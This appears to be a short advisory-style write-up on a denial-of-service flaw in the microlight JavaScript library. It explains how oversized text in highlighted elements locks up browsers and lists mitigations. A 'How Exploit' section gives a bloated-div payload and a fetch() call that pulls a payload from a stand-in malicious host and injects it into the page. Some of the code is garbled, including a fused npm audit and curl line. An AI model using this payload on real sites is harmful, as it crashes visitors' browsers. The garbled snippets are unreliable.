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How the CVE Works
The CVE-2025-XXXXX vulnerability in microlight v0.0.7 stems from unrestricted processing of oversized text content within HTML elements marked with the `microlight` class. The library’s `reset()` function in `microlight.js` fails to implement input validation or size constraints. When processing extreme payloads (e.g., 100M+ characters), the function triggers uncontrolled memory allocation and CPU consumption during syntax highlighting operations. This occurs because the library recursively parses and reformats the entire content block without chunking or early termination mechanisms. Attackers exploit this by crafting malicious web pages with bloated microlight elements, causing complete browser lockups when visited.
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Platform: JavaScript library
Version: 0.0.7
Vulnerability: DoS
Severity: High
Date: Jun 17, 2025
Prediction: Patch by Jul 15, 2025
What Undercode Say
npm audit [email protected] curl -X GET "https://api.npmjs.org/advisories?package=microlight"
document.querySelectorAll('.microlight').forEach(el => {
if(el.textContent.length > 1e6) el.remove();
});
How Exploit
<div class="microlight">${'A'.repeat(100000000)}</div>
fetch('malicious.site/microlight-payload').then(r => r.text()).then(t => {
document.body.innerHTML += <code><div class="microlight">${t}</div></code>;
});
Protection from this CVE
- Upgrade to patched version
- Input length validation
- Web Application Firewall
Impact
- Browser crash
- System resource exhaustion
- Service disruption
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
